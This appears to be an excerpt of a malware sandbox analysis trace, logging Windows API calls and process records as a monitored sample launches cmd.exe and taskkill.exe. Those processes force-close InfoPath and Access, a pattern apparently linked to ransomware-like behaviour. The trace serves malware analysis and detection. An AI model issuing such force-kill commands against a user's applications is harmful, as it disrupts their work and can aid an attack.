	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0044.387] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0044.388] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0044.388] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0044.388] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0044.388] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0044.388] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0044.388] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0044.388] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0044.388] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0044.388] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0044.388] GetProcessHeap () returned 0x850000
	[0044.388] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x850a10 | out: hHeap=0x850000) returned 1
	[0044.388] GetProcessHeap () returned 0x850000
	[0044.388] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xa) returned 0x85fee0
	[0044.388] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0044.389] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im infopath.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x44f14c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im infopath.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x44f198 | out: lpCommandLine="taskkill  /f /im infopath.exe ", lpProcessInformation=0x44f198*(hProcess=0x78, hThread=0x74, dwProcessId=0xb68, dwThreadId=0xb60)) returned 1
	[0044.394] CloseHandle (hObject=0x74) returned 1
	[0044.394] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0044.394] GetProcessHeap () returned 0x850000
	[0044.394] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x865ed0 | out: hHeap=0x850000) returned 1
	[0044.394] GetEnvironmentStringsW () returned 0x874a48*
	[0044.394] GetProcessHeap () returned 0x850000
	[0044.394] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xb36) returned 0x864090
	[0044.394] FreeEnvironmentStringsW (penv=0x874a48) returned 1
	[0044.395] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0044.673] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x44f08c | out: lpExitCode=0x44f08c*=0x80) returned 1
	[0044.673] CloseHandle (hObject=0x78) returned 1
	[0044.674] _vsnwprintf (in: _Buffer=0x44f1d4, _BufferCount=0x13, _Format="%08X", _ArgList=0x44f098 | out: _Buffer="00000080") returned 8
	[0044.674] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0044.674] GetProcessHeap () returned 0x850000
	[0044.674] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x864090 | out: hHeap=0x850000) returned 1
	[0044.674] GetEnvironmentStringsW () returned 0x864090*
	[0044.674] GetProcessHeap () returned 0x850000
	[0044.674] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xb5c) returned 0x865ed0
	[0044.674] FreeEnvironmentStringsW (penv=0x864090) returned 1
	[0044.674] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0044.674] GetProcessHeap () returned 0x850000
	[0044.674] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x865ed0 | out: hHeap=0x850000) returned 1
	[0044.674] GetEnvironmentStringsW () returned 0x864090*
	[0044.674] GetProcessHeap () returned 0x850000
	[0044.674] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xb5c) returned 0x865ed0
	[0044.674] FreeEnvironmentStringsW (penv=0x864090) returned 1
	[0044.674] GetProcessHeap () returned 0x850000
	[0044.674] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x85fee0 | out: hHeap=0x850000) returned 1
	[0044.674] DeleteProcThreadAttributeList (in: lpAttributeList=0x44f0f0 | out: lpAttributeList=0x44f0f0) 
	[0044.674] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0044.674] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0044.674] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0044.674] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4aa941ac | out: lpMode=0x4aa941ac) returned 0
	[0044.674] _get_osfhandle (_FileHandle=0) returned 0xac
	[0044.674] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4aa941b0 | out: lpMode=0x4aa941b0) returned 0
	[0044.675] GetConsoleOutputCP () returned 0x1b5
	[0044.675] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa94260 | out: lpCPInfo=0x4aa94260) returned 1
	[0044.675] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0044.675] exit (_Code=128) 

Process:
	id = "55"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4a140000"
	os_pid = "0xb68"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "54"
	os_parent_pid = "0xb70"
	cmd_line = "taskkill  /f /im infopath.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 251
	os_tid = 0xb60


Thread:
	id = 252
	os_tid = 0xb5c


Thread:
	id = 253
	os_tid = 0xb58


Thread:
	id = 254
	os_tid = 0xb54


Thread:
	id = 255
	os_tid = 0xb98


Process:
	id = "56"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4a1d3000"
	os_pid = "0xb94"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im msaccess.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 256
	os_tid = 0xb88

	[0044.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3afb5c | out: lpSystemTimeAsFileTime=0x3afb5c*(dwLowDateTime=0x4d8040, dwHighDateTime=0x1d52dc5)) 
	[0044.753] GetCurrentProcessId () returned 0xb94
	[0044.753] GetCurrentThreadId () returned 0xb88
	[0044.753] GetTickCount () returned 0x1b634
	[0044.753] QueryPerformanceCounter (in: lpPerformanceCount=0x3afb54 | out: lpPerformanceCount=0x3afb54*=16506288892) returned 1
	[0044.754] GetModuleHandleA (lpModuleName=0x0) returned 0x49ed0000
	[0044.754] __set_app_type (_Type=0x1) 
	[0044.754] __p__fmode () returned 0x74eb31f4
	[0044.754] __p__commode () returned 0x74eb31fc
	[0044.754] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49ef21a6) returned 0x0
	[0044.754] __getmainargs (in: _Argc=0x49ef4238, _Argv=0x49ef4240, _Env=0x49ef423c, _DoWildCard=0, _StartInfo=0x49ef4140 | out: _Argc=0x49ef4238, _Argv=0x49ef4240, _Env=0x49ef423c) returned 0
	[0044.754] GetCurrentThreadId () returned 0xb88
	[0044.754] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb88) returned 0x60
	[0044.755] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0044.755] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0044.755] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0044.755] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0044.755] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3afaec | out: phkResult=0x3afaec*=0x0) returned 0x2
	[0044.755] VirtualQuery (in: lpAddress=0x3afb23, lpBuffer=0x3afabc, dwLength=0x1c | out: lpBuffer=0x3afabc*(BaseAddress=0x3af000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0044.755] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x3afabc, dwLength=0x1c | out: lpBuffer=0x3afabc*(BaseAddress=0x2b0000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0044.755] VirtualQuery (in: lpAddress=0x2b1000, lpBuffer=0x3afabc, dwLength=0x1c | out: lpBuffer=0x3afabc*(BaseAddress=0x2b1000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0044.755] VirtualQuery (in: lpAddress=0x2b3000, lpBuffer=0x3afabc, dwLength=0x1c | out: lpBuffer=0x3afabc*(BaseAddress=0x2b3000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0044.755] VirtualQuery (in: lpAddress=0x3b0000, lpBuffer=0x3afabc, dwLength=0x1c | out: lpBuffer=0x3afabc*(BaseAddress=0x3b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0044.755] GetConsoleOutputCP () returned 0x1b5
	[0044.755] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49ef4260 | out: lpCPInfo=0x49ef4260) returned 1
	[0044.756] SetConsoleCtrlHandler (HandlerRoutine=0x49eee72a, Add=1) returned 1
	[0044.756] _get_osfhandle (_FileHandle=1) returned 0xac
	[0044.756] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0044.756] _get_osfhandle (_FileHandle=1) returned 0xac
	[0044.756] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x49ef41ac | out: lpMode=0x49ef41ac) returned 0
	[0044.756] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0044.756] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x49ef41b0 | out: lpMode=0x49ef41b0) returned 0
	[0044.756] GetEnvironmentStringsW () returned 0x402008*
	[0044.756] GetProcessHeap () returned 0x3f0000
	[0044.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaca) returned 0x402ae0
	[0044.756] FreeEnvironmentStringsW (penv=0x402008) returned 1
	[0044.756] GetProcessHeap () returned 0x3f0000
	[0044.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x400c40
	[0044.756] GetEnvironmentStringsW () returned 0x402008*
	[0044.757] GetProcessHeap () returned 0x3f0000
	[0044.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaca) returned 0x4035b8
	[0044.757] FreeEnvironmentStringsW (penv=0x402008) returned 1
	[0044.757] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3aea5c | out: phkResult=0x3aea5c*=0x68) returned 0x0
	[0044.757] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x0, lpData=0x3aea68*=0x0, lpcbData=0x3aea60*=0x1000) returned 0x2
	[0044.757] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x4, lpData=0x3aea68*=0x1, lpcbData=0x3aea60*=0x4) returned 0x0
	[0044.757] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x0, lpData=0x3aea68*=0x1, lpcbData=0x3aea60*=0x1000) returned 0x2
	[0044.757] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x4, lpData=0x3aea68*=0x0, lpcbData=0x3aea60*=0x4) returned 0x0
	[0044.757] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x4, lpData=0x3aea68*=0x40, lpcbData=0x3aea60*=0x4) returned 0x0
	[0044.757] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x4, lpData=0x3aea68*=0x40, lpcbData=0x3aea60*=0x4) returned 0x0
	[0044.757] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x0, lpData=0x3aea68*=0x40, lpcbData=0x3aea60*=0x1000) returned 0x2
	[0044.757] RegCloseKey (hKey=0x68) returned 0x0
	[0044.757] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3aea5c | out: phkResult=0x3aea5c*=0x68) returned 0x0
	[0044.757] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x0, lpData=0x3aea68*=0x40, lpcbData=0x3aea60*=0x1000) returned 0x2
	[0044.757] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x4, lpData=0x3aea68*=0x1, lpcbData=0x3aea60*=0x4) returned 0x0
	[0044.757] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x0, lpData=0x3aea68*=0x1, lpcbData=0x3aea60*=0x1000) returned 0x2
	[0044.758] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x4, lpData=0x3aea68*=0x0, lpcbData=0x3aea60*=0x4) returned 0x0
	[0044.758] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x4, lpData=0x3aea68*=0x9, lpcbData=0x3aea60*=0x4) returned 0x0
	[0044.758] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x4, lpData=0x3aea68*=0x9, lpcbData=0x3aea60*=0x4) returned 0x0
	[0044.758] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3aea64, lpData=0x3aea68, lpcbData=0x3aea60*=0x1000 | out: lpType=0x3aea64*=0x0, lpData=0x3aea68*=0x9, lpcbData=0x3aea60*=0x1000) returned 0x2
	[0044.758] RegCloseKey (hKey=0x68) returned 0x0
	[0044.758] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163035
	[0044.758] srand (_Seed=0x5d163035) 
	[0044.758] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im msaccess.exe \""
	[0044.758] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im msaccess.exe \""
	[0044.758] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49ef5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0044.758] GetProcessHeap () returned 0x3f0000
	[0044.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x210) returned 0x402008
	[0044.758] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x402010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0044.758] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0044.758] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0044.758] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f00640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0044.759] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0044.759] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0044.759] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0044.759] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0044.759] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0044.759] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0044.759] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0044.759] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0044.759] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0044.759] GetProcessHeap () returned 0x3f0000
	[0044.759] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x402ae0 | out: hHeap=0x3f0000) returned 1
	[0044.759] GetEnvironmentStringsW () returned 0x402220*
	[0044.759] GetProcessHeap () returned 0x3f0000
	[0044.759] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae2) returned 0x404b80
	[0044.759] FreeEnvironmentStringsW (penv=0x402220) returned 1
	[0044.759] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49f00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0044.759] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49f00640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0044.759] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0044.759] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0044.759] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0044.759] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0044.759] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0044.759] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0044.759] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0044.759] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0044.759] GetProcessHeap () returned 0x3f0000
	[0044.759] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x405670
	[0044.759] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3af828 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0044.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3af828, lpFilePart=0x3af824 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3af824*="Desktop") returned 0x25
	[0044.760] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0044.760] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3af5a4 | out: lpFindFileData=0x3af5a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x401e88
	[0044.760] FindClose (in: hFindFile=0x401e88 | out: hFindFile=0x401e88) returned 1
	[0044.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3af5a4 | out: lpFindFileData=0x3af5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x401e88
	[0044.760] FindClose (in: hFindFile=0x401e88 | out: hFindFile=0x401e88) returned 1
	[0044.760] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0044.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3af5a4 | out: lpFindFileData=0x3af5a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x401e88
	[0044.760] FindClose (in: hFindFile=0x401e88 | out: hFindFile=0x401e88) returned 1
	[0044.760] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0044.760] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0044.760] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0044.760] GetProcessHeap () returned 0x3f0000
	[0044.760] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404b80 | out: hHeap=0x3f0000) returned 1
	[0044.761] GetEnvironmentStringsW () returned 0x404090*
	[0044.761] GetProcessHeap () returned 0x3f0000
	[0044.761] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb36) returned 0x405ed0
	[0044.761] FreeEnvironmentStringsW (penv=0x404090) returned 1
	[0044.761] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49ef5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0044.761] GetProcessHeap () returned 0x3f0000
	[0044.761] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405670 | out: hHeap=0x3f0000) returned 1
	[0044.761] GetProcessHeap () returned 0x3f0000
	[0044.761] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x400e) returned 0x406a10
	[0044.761] GetProcessHeap () returned 0x3f0000
	[0044.761] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x402d60
	[0044.761] GetProcessHeap () returned 0x3f0000
	[0044.761] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4008) returned 0x40aa28
	[0044.762] GetProcessHeap () returned 0x3f0000
	[0044.762] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4008) returned 0x40ea38
	[0044.763] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0044.763] GetProcessHeap () returned 0x3f0000
	[0044.763] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x418) returned 0x402db8
	[0044.763] SetErrorMode (uMode=0x0) returned 0x8003
	[0044.763] SetErrorMode (uMode=0x1) returned 0x0
	[0044.763] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x402dc0, lpFilePart=0x3af7a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x3af7a0*="f") returned 0x31
	[0044.763] SetErrorMode (uMode=0x8003) returned 0x1
	[0044.764] GetProcessHeap () returned 0x3f0000
	[0044.764] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x402db8, Size=0x8e) returned 0x402db8
	[0044.764] GetProcessHeap () returned 0x3f0000
	[0044.764] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x402db8) returned 0x8e
	[0044.764] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0044.764] GetProcessHeap () returned 0x3f0000
